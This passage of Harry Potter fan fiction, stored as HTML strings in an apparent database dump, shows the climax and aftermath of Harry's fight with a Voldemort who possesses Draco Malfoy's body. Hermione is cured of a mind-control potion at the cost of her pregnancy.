your\nwork in the time when everyone believed you were dead. And when you returned, I\nwas watched too closely. I humbly ask for your apology, my Lord.&quot; He\nbowed, careful to keep his wand trained at Lupin. <br>\n<br>\nVoldemort snorted. &quot;You expect me to believe this? You know better than\nanyone what I do to those who are disloyal to me.&quot; <br>\n<br>\nWithout blinking, Snape replied, &quot;With all due respect, Master, I\'m all\nthe followers you have left.&quot; <br>\n<br>\nThis didn\'t please Voldemort, but he gave it a moment of thought. &quot;Hmm,\nyou could be right about that. Tell you what, Severus. Since you\'re so eager to\nprove yourself to me, I\'m going to let you take care of something.&quot;<br>\n<br>\n&quot;Anything, my Lord.&quot;<br>\n<br>\nVoldemort nodded at his genuflection. &quot;Now that I have you...and Remus\nLupin once he has a taste of my potion...I really have no need for Sirius\nBlack. Kill him. And take your place at my side.&quot; <br>\n<br>\n&quot;No!!&quot; Unable to keep quiet anymore, Harry snapped out of the stupor\ninto which Snape\'s sudden betrayal had sent him. &quot;If you want to kill my\ngodfather, you\'re going to have to get through me.&quot;<br>\n<br>\nSnape laughed, a short, barking noise, and gestured to Harry\'s bloody nose,\nbroken glasses and the fact that he was still holding his ribs together.\n&quot;That should take all of a minute. And have you forgotten who did that to\nyour face?&quot; <br>\n<br>\n&quot;It won\'t be just Harry you\'ll have to go through, Severus,&quot; Lupin\nwarned him. <br>\n<br>\n&quot;Oh, go ahead and play the brave Gryffindor rushing into the fray like a\nfool, Remus. You\'re going to end up just like them anyway.&quot; He indicated\nSirius and Hermione. <br>\n<br>\nLupin\'s eyes gleamed. &quot;Don\'t make the mistake of underestimating me...or\nJames\' son, for that matter.&quot;<br>\n<br>\n&quot;And look at what happened to James.&quot; Snape turned his wand back on\nLupin. &quot;For all his efforts, he couldn\'t even distract Lord Voldemort away\nfrom his wife and child long enough to save them. Could he?&quot; <br>\n<br>\n&quot;Never, *ever* speak about James Potter again, you bloody...&quot;<br>\n<br>\nVoldemort sighed. &quot;If you\'re done squabbling, Severus, I do have an agenda\nto attend to.&quot; <br>\n<br>\n&quot;Of course, Master. I apologize for...&quot;<br>\n<br>\nHe was cut off by a sudden shout and a burst of light from directly behind the\nDark Lord. Lupin\'s disarming spell caught Voldemort in the back, knocking his\nentire body forward. His wand clattered to the wood floor. Lupin\'s chest rose\nand fell with spent energy. &quot;I\'d rather die than become your zombie,\nVoldemort.&quot;<br>\n<br>\n&quot;Funny...&quot; In a flash, Voldemort had retrieved his wand. &quot;Sirius\nBlack said the same thing.&quot; <br>\n<br>\nLupin adopted a dueling stance. &quot;I suppose I\'ll have to fight you on\nbehalf of both of us, then.&quot; <br>\n<br>\nVoldemort curled Draco\'s lips into a wicked grin. &quot;This should be\nfun.&quot; <br>\n<br>\nAs soon as the first curse was cast, Snape approached the stony Sirius Black.\nBut his path was cut off just before he reached the man by Harry throwing\nhimself between his godfather and his former teacher. His green eyes shot\ndaggers. &quot;Stay away from him.&quot; <br>\n<br>\n&quot;Potter, get out of my way.&quot; <br>\n<br>\n&quot;Never going to happen.&quot; <br>\n<br>\nSnape\'s hand shot out and grabbed Harry up by his blood-stained collar.\n&quot;Listen! If you want to save your godfather, you will damn well do\neverything possible to follow my lead without drawing any attention,&quot; he\nwhispered in a harsh tone. <br>\n<br>\nHarry stared back and forth between Snape\'s tired black eyes. There wasn\'t any\ntime to be wasted putting pieces together. There were only two options. Trust\nor don\'t trust. A little voice in the back of his head told him to nod.\n&quot;Tell me what to do.&quot;<br>\n<br>\n&quot;Keep him occupied. I\'ll cure Sirius first so he can help; nothing against\nHermione.&quot; Snape jerked his head. &quot;Go, before he gets\nsuspicious.&quot; <br>\n<br>\nAs Harry turned his attention to the duel across the room, he could hear Snape\napproaching his godfather. &quot;All right, Black. If you\'ll follow him, you\'ll\nfollow me. So, drink up.&quot; <br>\n<br>\nThere was fire piercing Harry\'s side in regular intervals; if the rib wasn\'t\nbroken, it was at least fractured to hell. But he forced himself to focus.\nLupin was holding his own for the moment, but Harry refused to let anything\nhappen to the older man in a battle that was his responsibility. <br>\n<br>\nA single curse sent Lupin flying towards the stone wall just at that moment.\nHis body hit, shoulder first and he groaned in fresh agony. Harry gripped his\nwand tighter. &quot;Voldemort!&quot; He moved around to face the dark wizard;\nit was imperative to keep his attention away from Snape and Sirius. &quot;I\nthought I was the one you wanted to kill.&quot; <br>\n<br>\n&quot;Good things come to those who wait. And I\'ve waited for this good thing\nfor a very long...&quot;<br>\n<br>\n&quot;Yeah. I got that around the third time you said it.&quot; Harry used the\nend of his wand to scratch the back of his messy locks. &quot;What I can\'t\nfigure is this. If you kill me tonight, how are you going to explain my death?\nThere\'s no scaffolding around to blame it on. Everyone knows that I came here\nto find Hermione.&quot; A little white lie that he suddenly wished was the\ntruth. &quot;What are they going to think if I don\'t come back?&quot; <br>\n<br>\nVoldemort lifted his shoulders. &quot;Who am I to say why you decided to pick\nup and leave again, Harry? That\'s what I\'ll tell them at least. And the world\nwill keep on turning, I promise you. Your Mudblood bed-warmer, sadly, won\'t\nlive all that long after she gives birth. Remus Lupin and Severus Snape will\nwork for me when I run for Minister of Magic. As for Hogwarts, it will under-go\nthe most magical of transformations into an institution a pure-blooded witch or\nwizard can be proud to attend.&quot; <br>\n<br>\n&quot;Dumbledore will never...&quot;<br>\n<br>\n&quot;Dumbledore won\'t be alive to see it.&quot; <br>\n<br>\nHarry tilted his head to one side. &quot;You\'ve had far too much time to think\nabout this.&quot;<br>\n<br>\n&quot;And you can thank yourself for that,&quot; Voldemort replied. <br>\n<br>\n&quot;You know what? You can kill me tonight. You can imprison my friends and\nmy family. You can try to take over the Ministry and Hogwarts. But you will\nnever win. There will always be someone who will stand up for what\'s right and\ngood. Even you can\'t enchant everyone, Voldemort.&quot; <br>\n<br>\nBy that point, Lupin had managed to drag himself up using the very wall he had\nbeen thrown against as leverage. &quot;Well spoken....Harry.&quot; He winced in\npain. &quot;It sounds like something James would have said.&quot; <br>\n<br>\n&quot;Welcome back. Ready for another round?&quot; Voldemort pointed at Lupin\'s\nshoulder wound. It had re-opened and was oozing bright red blood. <br>\n<br>\nHarry shook his head, smiling. &quot;It\'s my turn now.&quot; <br>\n<br>\nA long moment passed as the two wizards, whose pasts were so horrifically\nentwined, stared at each other. Harry could see nothing reflected in Draco\'s\nblue-grey eyes. He was truly the living dead. Suddenly, Harry\'s muscles grew\ntight. There was a new voice in his head and an invisible cloud around his\nmind. <br>\n<br>\n**Come to me, Harry Potter.**<br>\n<br>\nThe Imperius Curse. It was strong, but he had overthrown it many times. His\nbrow furring, Harry fought to let his own inner voice speak. <br>\n<br>\n**No. I don\'t feel like it.**<br>\n<br>\n**You have no choice, Harry Potter. It has always been your destiny. Come to\nme!**<br>\n<br>\nHarry\'s feet wanted to move. He actually had to lock his knees into place.\n**You have no power over me.**<br>\n<br>\n**Why do you fight? Come to me, and accept what should have been twenty-eight\nyears ago. Your death. Your destiny.**<br>\n<br>\n**I wasn\'t destined to die that night, or else I would have died.**<br>\n<br>\nVoldemort continued to stare at him. **How long do you think you can resist me?\nCome to me, Harry Potter! Come to me, now!**<br>\n<br>\nHis foot lifted from the ground, despite the imaginary lead weights he placed\nupon it. **No...no...NO!**<br>\n<br>\n**Yes, Harry. That\'s right. Your mind resists, but your body...it will bring\nyou to me.**<br>\n<br>\nThere was a new voice out of the blue. **Put your foot down, mate. You\'re bloody\nHarry Potter, you are.**<br>\n<br>\n&quot;Ron.&quot; Harry\'s foot lowered and the fogginess over his thoughts\ndissipated. <br>\n<br>\nThe connection he had established had been broken. Voldemort blinked and shook\nhis head. &quot;Enough of this.&quot; He raised his wand. &quot;Avada...&quot; <br>\n<br>\n&quot;Expelliarmus!!&quot; <br>\n<br>\nThe disarming spell hit Voldemort for the second time, only this time it not\nonly knocked his wand from his hand, it also knocked him to the ground. Harry\nblinked and looked to the other end of the room. <br>\n<br>\nSirius lowered his own wand. &quot;Fuck, I\'ve wanted to do that for\nweeks.&quot; <br>\n<br>\nLupin put a hand on Harry\'s shoulder. &quot;Are you all right? He had you in\nsome kind of trance for nearly half an hour. We tried...but he\'s too\nstrong.&quot;<br>\n<br>\n&quot;It only felt like a minute.&quot; Harry licked his lips, tasting dried\nblood. &quot;Hermione...&quot; <br>\n<br>\nSnape stepped out from around Sirius; Hermione was passed out in his arms.\n&quot;Seems she was ordered to stop anyone trying go against her master. It was\njust a little stunning spell I had to use; she\'s not harmed.&quot; <br>\n<br>\n&quot;You didn\'t give it to her, did you?&quot; Lupin asked the potions master.\nIn response, Snape shook his head.<br>\n<br>\nWith Voldemort on the floor struggling to even sit up, Harry took Hermione from\ntheir former teacher. &quot;I have no idea what\'s going on here anymore. I just\nwant everyone to know that.&quot; She was light in his arms, despite four\nmonths of pregnancy. <br>\n<br>\n&quot;When it\'s over, we\'ll fill you in,&quot; Lupin promised. &quot;But for\nnow...let\'s finish it.&quot; <br>\n<br>\nSirius joined his godson. There was guilt on his face, but it was not the time\nfor apologies. &quot;You know what you have to do.&quot; <br>\n<br>\n&quot;Yes.&quot; Harry looked down at Draco Malfoy\'s body as Voldemort\nstaggered to his feet. &quot;But I\'m not alone in doing it. Am I?&quot; <br>\n<br>\n&quot;You\'re not,&quot; Sirius assured him. &quot;Not this time.&quot; Behind\nhim, Snape nodded. Lupin echoed the sentiment. <br>\n<br>\nHarry looked down at Hermione. Her cheeks were deathly pale. And her body, so\nlimp and pliant. The very idea of how Voldemort had wanted to use her...Harry\nforced the thought away. Gently, he let Hermione\'s legs drop until her feet\ntouched the floor. He held her upright against his body with his left arm\nsecurely around her waist. The side of her face rested on his shoulder. With\nhis free hand, Harry aimed his wand at Voldemort.<br>\n<br>\n&quot;This, Voldemort...&quot; He closed his eyes for a brief moment. When they\nopened again, they were set like steel. &quot;This is for my mother and father\nwho gave up their lives for me. It\'s for Cedric Diggory who should have had a\nchance to grow up. For Draco Malfoy who was too twisted by you to know any\nbetter.&quot; Voldemort looked up at him with undiluted hatred. Harry\ncontinued, determined to get everything out. &quot;For Hermione who saves my\nlife every single day. For Sirius and Lupin...and Snape. For Ron...who should\nbe here with us. For my children and their future. But mostly...this is for\nme.&quot; <br>\n<br>\nHis wand lifted. The curse was on his lips, a curse that was never meant to\ncome from any good wizard\'s mouth. But for reasons that were beyond his\ncontrol, this would be the second time he dared to utter it. Hopefully, it\nwould also be the last.<br>\n<br>\nBut like the creature who he so thoroughly identified himself with, Voldemort\nstruck in the blink of an eye, his invisible fangs bared. Instead of going for\nHarry\'s wand, the Dark Lord made a grab for Harry\'s chest, muttering a curse no\none could understand. <br>\n<br>\nDraco\'s nails dug into Harry\'s skin through the layers of his robes. From the\nmoment Voldemort touched him, Harry felt only excruciating pain. The noise that\ncame from his throat was primal; his oldest enemy was trying to gouge a hole in\nhis chest to rip his very heart out and Harry couldn\'t even grapple his arm to\nstop him. <br>\n<br>\n&quot;Harry!&quot; Sirius tried to pull Voldemort off, but with his free hand,\nthe wizard stopped him. An invisible force sent Harry\'s godfather hurtling back\nseveral yards. He landed in a pile in front of the fire. <br>\n<br>\n&quot;Come any closer and suffer the same,&quot; Voldemort hissed between\ntightly clenched teeth when Lupin stepped forward. &quot;I warn you now...this\nis my battle to triumph! And no one, most especially the great Harry Potter, is\ngoing to take that away from me!!&quot; The sharp tips of Draco\'s fingers\nsomehow tunneled through cotton and wool and broke Harry\'s skin. <br>\n<br>\n&quot;I can\'t move,&quot; he could hear Snape say. &quot;Remus?&quot;<br>\n<br>\n&quot;No.&quot; The other man fought with himself, but Voldemort\'s spells were\ntoo powerful. <br>\n<br>\nHermione\'s head lolled off his shoulder. She bent at the back over his arm,\ndraped like a mannequin. Through his pain, keeping her from falling was the one\ntask that kept Harry focused. Five little daggers pierced the thin layer of\nskin and thicker layer of muscle over his breast-bone and showed no signs of\nstopping. It was magical strength Voldemort possessed and if he wanted Harry\'s\nheart, he was going to have it if something weren\'t done. <br>\n<br>\n&quot;Voldemort...&quot; he grunted, his face twisted. &quot;Let...go\nof...me.&quot;<br>\n<br>\n&quot;I want to see it, Potter. In my hand...the source of all my troubles.\nThis heart of yours...&quot; The Dark Lord chuckled under his breath. Sweat\nbeaded his forehead. &quot;If I just...pluck it out, will you finally...and for\nall times...die?!?!&quot;<br>\n<br>\nHarry\'s entire body felt detached from what was happening to his chest. He was\nstanding above himself, watching Voldemort use Draco Malfoy\'s fingers to dig\ninto his body. <br>\n<br>\n&quot;Harry...&quot; The word escaped Hermione\'s throat on a whisper. <br>\n<br>\nQuick as that, he invaded his own body once again, taking charge. He blinked\nand released his wand. His hand now free, he grabbed his attacker\'s arm at the\nelbow joint. Harry said nothing, but his stare once again locked with\nVoldemort\'s. Both men\'s bodies shook with effort. One pushing forward, the\nother pushing back. <br>\n<br>\n&quot;I...&quot; Harry began, his hoarse voice increasing in both volume and\nemphasis as he continued. &quot;...will *not* die!!&quot;<br>\n<br>\nVoldemort broke eye contact; he dropped a strange look down to Harry\'s chest.\nSmoke curled around his fingers, emanating from the five puncture wounds.\n&quot;What...&quot; He stopped, Draco\'s eyes growing wide with sudden fear.\n&quot;No...no!!!&quot; <br>\n<br>\nHarry could feel the heat in his heart although it was anything but painful. He\nclosed his eyes and let it burn into Voldemort\'s skin. He needed no\nexplanations. Hermione was stirring against his side, still lost to Snape\'s\nstunner and whatever it was that had been done to her, but she was there. Alive\nand breathing and close to him. Sirius was still unconscious on the floor and\nSnape Lupin were frozen, but their life-force was strong. <br>\n<br>\nBut more than that were the people who weren\'t present. His parents. His\nfriends. Ron. The people who loved him, who had made sacrifices for him and for\ngood in general. They were all there, concentrated in his heart and it was\ntheir power that made Voldemort pull away with a frightening cry, clutching his\nred, raw hand. He stumbled back several steps, his wound smoking. <br>\n<br>\n&quot;You see?&quot; Harry panted, ignoring the lingering pain. &quot;You can\'t\ntouch me.&quot; <br>\n<br>\nLupin and Snape both relaxed in that moment, released from their binding spell.\nAn angry groan and movement by the fireplace signaled Sirius\' struggle to\nstand. Still holding onto Hermione, Harry bent down and slowly picked up his\nwand. <br>\n<br>\n&quot;This is not...happening again,&quot; Voldemort muttered over and over\nagain. &quot;It\'s not....I\'m going to...it\'s my time...to kill you....Harry\nPotter.&quot;<br>\n<br>\nWith precision, Harry lined the end of his wand up with his target. &quot;Do\nyou know what, Voldemort? Just...bugger off already.&quot; <br>\n<br>\n&quot;Again,&quot; Lupin lifted his wand; Snape mimicked the gesture.\n&quot;Something your father would have said.&quot; <br>\n<br>\nVoldemort shot a look that could have been interpreted as worried at Snape.\n&quot;Severus?&quot; <br>\n<br>\nThe potions master shrugged at his long-abandoned master. &quot;Everyone knows\nnot to trust a former Death-Eater.&quot;<br>\n<br>\nSirius joined them, cracking his neck joints back into place. &quot;All right.\nI\'ve had just about enough of this sodding prick tossing me around.&quot; He\nraised his own wand. <br>\n<br>\nThe men exchanged glances. They each had the same, unspoken thought and just as\nsilently, it was agreed upon. Harry clutched Hermione a little tighter to his\nchest; she groaned in protest. Before he spoke, he took another look around\nhim. Lupin and Sirius on one side. Snape and Hermione on the other. <br>\n<br>\nHe squinted suddenly. Just over Snape\'s shoulder, he could barely make out\nanother figure. A man in robes and red hair, his own wand poised and ready to\ngo. The apparition turned its head towards Harry and winked merrily. <br>\n<br>\nHarry\'s eyes shut for only the brief second it took to blink, but when he\nopened them again, Ron was gone. <br>\n<br>\nHis attention whipped back to the task at hand. He didn\'t have to glance around\nagain. It was time. <br>\n<br>\n&quot;Avada Kedavra.&quot; <br>\n<br>\nTheir voices mingled together like a deadly four-part harmony. The green light\nfollowed, the light that had haunted Harry for his entire life. Voldemort\'s\nscreams were those of a man dying without a final lifeline in sight. After what\nseemed like an eternity, the light faded and there was nothing but Draco\'s body\nleft. <br>\n<br>\nIt dropped to the floor like a weight, still bearing the colors of life. But\nbefore their eyes, Draco\'s skin, dead for ten years, began to crack and peel.\nHis lips rolled back, teeth and eyes protruded. Decayed flesh melted away to\nreveal muscles; muscles shrunk until there were only robe-covered bones. Harry\nwatched it all without blinking or flinching. <br>\n<br>\nFinally, there was silence. Harry was the first to move; he passed Hermione\nover to Lupin and took a tentative step forward. Voldemort\'s wand lay in the\nbones that had made up Draco\'s hand. He leaned down and carefully extracted it.\n<br>\n<br>\nSnape came up behind him. &quot;What do you want to do now, Harry?&quot; <br>\n<br>\nA moment passed as he stared at the wand that had brought about so much death\nand destruction while pondering the question. What did he want to do now? <br>\n<br>\nHarry grasped either end of the wand and snapped it in half. He tossed the\nbroken instrument onto the remains of Draco Malfoy. With that dismissal, he\nlooked up at Snape. &quot;Cure Hermione.&quot; It wasn\'t an answer; it was a\nrequest. An order, even. <br>\n<br>\nThe potions master glanced back at Lupin and Sirius. &quot;It\'s not that\nsimple, Harry.&quot; <br>\n<br>\n&quot;What do you mean?&quot; Harry took off his broken glasses. &quot;You did\nsomething to fix Sirius. Now do the same to Hermione.&quot; <br>\n<br>\nLupin approached with the woman in question in his arms. She was on the brink\nof consciousness now, her struggles lending proof to the fact that Voldemort\nmight have been gone, but his control over her lingered. &quot;While he had you\nin that trance...&quot; He licked his lips, hesitant to go on. <br>\n<br>\n&quot;It was a potion, Harry.&quot; Sirius walked forward, his arms crossed.\n&quot;I was wandering around Diagon Alley that day we were supposed to meet as\nPadfoot....and I was shot with some sort of tranquilizer. By the time I woke up\nas a human again, he had force-fed me half a bottle. I couldn\'t stop him\nfrom...&quot; Taking a breath, he continued. &quot;It was like my own voice was\ngone. I was there, under the surface, watching myself do everything he told me\nto do, but I had no will of my own. It was his will.&quot; <br>\n<br>\nHarry touched his bruised cheek. &quot;I think I understand. So, he gave this\npotion to Hermione. I still don\'t understand why...&quot; <br>\n<br>\n&quot;The counter-potion.&quot; Snape pulled the half-empty beaker out of his\nrobes. &quot;It worked very fast for Sirius. But...&quot;<br>\n<br>\n&quot;But what?&quot; Harry felt like stomping his foot. &quot;Give it to\nHermione then!&quot;<br>\n<br>\nLupin spoke softly. &quot;We overheard from the fireplace... Is Hermione really\npregnant?&quot; <br>\n<br>\n&quot;Yes,&quot; Harry replied after a second. &quot;What does that....&quot;\nHe abruptly stopped. &quot;Wait a minute...&quot;<br>\n<br>\n&quot;I\'m sorry, Harry.&quot; For the first time since he had known the man,\nSnape sounded sincerely so. &quot;The key ingredient of this potion is\nshrivelfig. Shrivelfig is also the main component of any abortive potion.\nHarry...if we give this to her, she will miscarry.&quot; <br>\n<br>\nThe heavy blanket of silence was ripped in half as Hermione came to all of a\nsudden. She gazed up at Lupin wildly. &quot;Put me down!!&quot; <br>\n<br>\nStartled, Lupin looked to Harry. James\' son was still overwhelmed by the news;\nhe blinked several times and tried to focus on Hermione, who was by now kicking\nand fighting. Before she could do any damage, Lupin set her down onto her feet.\n<br>\n<br>\nShe immediately moved back a few feet from the men. &quot;Where\'s Draco?&quot;<br>\n<br>\nHarry took a step towards her. &quot;Hermione...it\'s me, Harry. Please, look at\nme. Please...&quot; <br>\n<br>\n&quot;Stay away from me!&quot; She jumped back another foot. &quot;I want\nDraco.&quot; <br>\n<br>\n&quot;She really *isn\'t* Hermione right now, Harry,&quot; Sirius said.\n&quot;The only thing she can think about is him. And the only thing that\nmatters is whatever his next order is. She\'s lost without him. You can\'t talk\nher back.&quot; <br>\n<br>\n&quot;If I can\'t talk her back to me, then...then I can wait! I mean...&quot;\nHarry plunged bloody hands into his hair. &quot;She\'s about...four and half\nmonths along. Another four and a half...it\'s not that long to wait...to get her\nback *and* have our baby safe and...&quot;<br>\n<br>\nHermione screamed, cutting him off. She had backed into Draco\'s bones; her heel\ncaught his collarbone, crushing it. She dropped to her knees and fingered the\nedge of his robes. &quot;You....you killed him...you all killed him.&quot; <br>\n<br>\nSnape uncorked his potion. &quot;Take a good look at her Harry. This is how\nshe\'ll be until she has this potion.&quot; <br>\n<br>\nHe snapped back, on the edge of exhaustion, pain and impending sorrow.\n&quot;You\'re telling me that I have to choose between the woman I love and our\nbaby?! How can you....any of you expect me to do that?! After everything we\'ve\ngone through tonight...&quot; Harry rubbed his mouth with the back of his palm.\n&quot;No. I can\'t do this. I won\'t...choose.&quot; He walked over to Hermione;\nshe had draped herself over what was left of Draco. &quot;Hermione. Come on.\nWe\'re getting out of here and back to...&quot;<br>\n<br>\n&quot;I\'m not going anywhere,&quot; she spat. &quot;Not with you. Not without\nhim.&quot; Her arms cradled her belly. &quot;I\'m going to stay here and wait\nfor my baby to come. Draco promised to take care of her....and me.\nForever.&quot; <br>\n<br>\nWhen Harry turned back to his companions, there were hot tears in his eyes.\n&quot;There\'s another way. Please...tell me that another kind of potion can\nbe...&quot; Snape shook his head. &quot;Lupin....a spell? From America,\nperhaps? Something...&quot; He glanced at Sirius when Lupin lowered his head.\n&quot;Anything. Please...&quot;<br>\n<br>\nSirius reached for his godson\'s shoulder. &quot;I\'m so sorry, Harry,&quot; he\nwhispered. <br>\n<br>\nHis godfather\'s hand remained on his shoulder in the long minutes that\nfollowed, a link to some semblance of sanity. In all that time, Harry neither\nblinked nor moved. The only sounds were Hermione\'s quiet sobs. Finally, Harry\nnodded. &quot;Give it to her.&quot; <br>\n<br>\n****<br>\n<br>\nLittle Harry woke with a start. He sat up in his sun-warmed bed, but didn\'t\nstay there for long. Hagrid was asleep in a chair by the door that had broken\nunderneath his huge body, snoring enough to scare the model dragons on his\nbookshelves. The boy quietly got up and snuck out the door of his room. <br>\n<br>\nHe thundered down the stairs. The living room was cold despite the daylight;\nthe fire had long since died. Little Harry ignored it and ran for the front\ndoor. <br>\n<br>\nHe scolded himself as he ran out the corridor, past Miss Belle\'s painting and\nthrough the Hogwarts hallways and staircases. How many times had his mother\ntold him not to run? But he had to get there...quickly. <br>\n<br>\nThe sun had just come up and there was still fresh dew on the grass as little\nHarry came out into fresh air from the port trellis. He lifted a hand to his\neyes to shield them from the bright light. There were dark silhouettes coming\nup over the hill from the direction of Hogsmeade. Four distinct shapes and as\nthey came closer, he could see a fifth, cradled in one of the figure\'s arms. <br>\n<br>\nHe wanted to run to them, but his feet remained planted. The last pieces of his\ndream came back to him. The snake biting into his little sister\'s arm and\nmaking her cry. <br>\n<br>\nThe dark shapes turned into people. Professor Snape. Professor Lupin. A man\nwith black hair who he vaguely recognized. <br>\n<br>\nAnd his father. Carrying his mother. <br>\n<br>\nThey were obviously victorious, but none of them were smiling. When they were\nonly a couple of yards away, little Harry realized why. <br>\n<br>\nBlood soaked his mother\'s skirt turning the tan material dark crimson and caked\nher long legs all the way down. She was as pale as one of the lilies in his\ngrandmother\'s garden. His father\'s glasses were gone; there was nothing on his\nface but bruises, blood and tears. <br>\n<br>\nThe boy cheeks were also wet. He rubbed at them with his sleeve, but then\nthought better of it. His dad had told him once that there were times when it\nwas all right to cry. <br>\n<br>\n****<br>\n<br>\nTo Be Continued (like I\'d end it there...)</p>\n\n\n\n\n\n\n'),
	(93, 24, '\n\n\n\n<p class="MsoNormal">Disclaimer:&nbsp; Nope,\nthey\'re still not mine.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Author\'s Notes:&nbsp;\nThank you so very much for all the really nice reviews the last few\nchapters have gotten.&nbsp; They\'ve been more\nthan merely encouraging:)&nbsp; I hope you\ncontinue to read and enjoy.&nbsp; No matter\nwhat happens.&nbsp; With nothing else really\nmajor to say, on with the story!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">An Organ of Fire</p>\n\n<p class="MsoNormal">by Kristen Elizabeth</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It ended too quickly.&quot;&nbsp; Harry picked lint off the bandages on his hands.&nbsp; &quot;Don\'t you think?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At the foot of the hospital bed on the edge of which Harry\nwas seated, Dumbledore shook his aged head.&nbsp;\n&quot;I don\'t know, Harry.&nbsp; I\nwasn\'t there.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It did,&quot; Sirius answered for his godson.&nbsp; &quot;Just a couple of words, some green\nlight and...poof.&nbsp; Too\nquickly.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Such is death all too often,&quot; the Headmaster\nsaid.&nbsp; His sad gaze passed over the woman\nlying in the bed.&nbsp; &quot;And life.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">From the bed next to the one around which they were all\ngathered, Lupin gestured to Harry with his good arm.&nbsp; The other was encased in a sling to keep his shoulder wound from\nre-opening.&nbsp; &quot;Shouldn\'t you be\nlying down with those broken ribs of yours?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius\' cheeks grew red.&nbsp;\n&quot;Must you keep bringing it up, Remus?&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;No, that\'s what I\'m for,&quot; Snape replied from his\nplace next to Dumbledore.&nbsp; It was the\nclosest he had ever come to cracking a joke with his childhood enemies.&nbsp; &quot;You should be resting,\nHarry.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The Boy Who Lived Once Again shook his head and looked down\nat Hermione.&nbsp; &quot;She hasn\'t woken up\nyet.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;And she won\'t for awhile,&quot; Sirius reminded\nhim.&nbsp; &quot;But you need rest just as\nmuch as she does.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry winced as a throbbing pain in his side made him think\nthat the advice he was receiving might not be so far off-base.&nbsp; &quot;I need to tell her.&nbsp; As soon as she wakes up.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A moment of reverent silence followed.&nbsp; &quot;What happens now, Headmaster?&quot;\nLupin asked.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;A team of Ministry persons has already been sent to\nMalfoy Manor.&nbsp; Neville Longbottom has\nassured me that everything will be properly taken care of.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;What about Malfoy\'s son?&quot; Snape asked.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;His late mother\'s family has agreed to take the boy\nin.&quot;&nbsp; Dumbledore sighed.&nbsp; &quot;It will be up to them how much young\nBronson will ever know about what happened last night.&quot;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sirius frowned.&nbsp;\n&quot;You mean to let the public know, then?&nbsp; About...Lord Voldemort?&quot;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'ve already made a statement to the Daily Prophet, an\nobituary for Draco Malfoy.&nbsp; The public\ndoes not need to know how close they came to becoming Voldemort\'s\nfollowers.&nbsp; But I have told the\nParkinson family the truth; they have a right to know who murdered their\ndaughter.&quot;&nbsp; Dumbledore cleared his\nthroat all of a sudden.&nbsp; &quot;Speaking\nof the Daily Prophet, Harry, they were most pleased to inform me...and asked me\nto pass the good news along that Virginia Weasley had her baby yesterday.&nbsp; I wasn\'t sure whether or not tell you, but I\nthought it might best if you heard the news from someone who knows\nabout...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry forced himself to smile.&nbsp; &quot;It\'s all right.&nbsp; I\ncan still be happy for a friend.&nbsp; It was\nearly, wasn\'t it?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yes, but the child is just fine.&nbsp; A boy.&nbsp;\nThey\'ve named him...&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ron,&quot; Harry guessed.&nbsp; &quot;Of course.&nbsp; It\nshould be that way.&quot;&nbsp; He picked\nHermione\'s hand up from the starched sheets and held it between his.&nbsp; Despite what he had said, it was painfully\ndifficult to be happy for Ginny and her husband right then.&nbsp; Not after what had happened to...&nbsp; Harry willed back tears.&nbsp; What had that holy man in India told him\nwhen he asked about death?&nbsp; &quot;When\none life ends, another begins,&quot; he said out loud. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;It\'s not your fault, Harry,&quot; Sirius said all of a\nsudden.&nbsp; Silence followed.&nbsp; &quot;It wasn\'t.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Perhaps we should leave Potter alone,&quot; Snape\nquietly suggested.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had stopped listening to them by that point.&nbsp; He could see the faint blue veins beneath\nHermione\'s soft skin, and concentrating on following them up and down the\ndelicate bones of her hand was far easier than thinking about their lost\nchild....or how he was ever going to break the news to her when she woke\nup.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And it was his fault.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They each said their goodbyes; Lupin got up and moved to a\nbed further down the room even after Dumbledore pulled the thin curtain around\nHermione\'s bed.&nbsp; With Hagrid keeping\nlittle Harry occupied back in the Professor\'s wing, he was finally alone with\nHermione.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I swore I\'d keep you from being in one of these 